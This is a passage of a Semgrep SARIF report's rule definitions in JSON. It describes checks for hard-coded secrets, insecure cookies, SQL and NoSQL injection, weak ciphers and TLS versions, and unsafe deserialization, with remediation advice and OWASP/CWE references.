(HSM)."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","id":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","name":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","id":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","name":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","id":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","name":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly","id":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","name":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://cwe.mitre.org/data/definitions/501.html](https://cwe.mitre.org/data/definitions/501.html)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","id":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","name":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression","id":"python.django.security.audit.extends-custom-expression.extends-custom-expression","name":"python.django.security.audit.extends-custom-expression.extends-custom-expression","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.extends-custom-expression.extends-custom-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli","id":"python.aws-lambda.security.mysql-sqli.mysql-sqli","name":"python.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"help":{"markdown":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check)\n - [https://pkg.go.dev/github.com/gorilla/websocket#Upgrader](https://pkg.go.dev/github.com/gorilla/websocket#Upgrader)\n","text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","id":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","name":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH)\n - [https://csrc.nist.gov/pubs/sp/800/56/a/r3/final](https://csrc.nist.gov/pubs/sp/800/56/a/r3/final)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://weakdh.org/sysadmin.html](https://weakdh.org/sysadmin.html)\n","text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","id":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","name":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"help":{"markdown":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use)\n - [https://www.php.net/manual/en/intro.mcrypt.php](https://www.php.net/manual/en/intro.mcrypt.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php)\n","text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"helpUri":"https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use","id":"php.lang.security.mcrypt-use.mcrypt-use","name":"php.lang.security.mcrypt-use.mcrypt-use","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mcrypt-use.mcrypt-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","id":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","name":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","id":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","name":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc2.use-of-rc2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","id":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","name":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express","id":"javascript.express.db.mongodb-express.mongodb-express","name":"javascript.express.db.mongodb-express.mongodb-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-express.mongodb-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"help":{"markdown":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage)\n - [https://docs.python.org/3/library/marshal.html?highlight=security](https://docs.python.org/3/library/marshal.html?highlight=security)\n","text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: 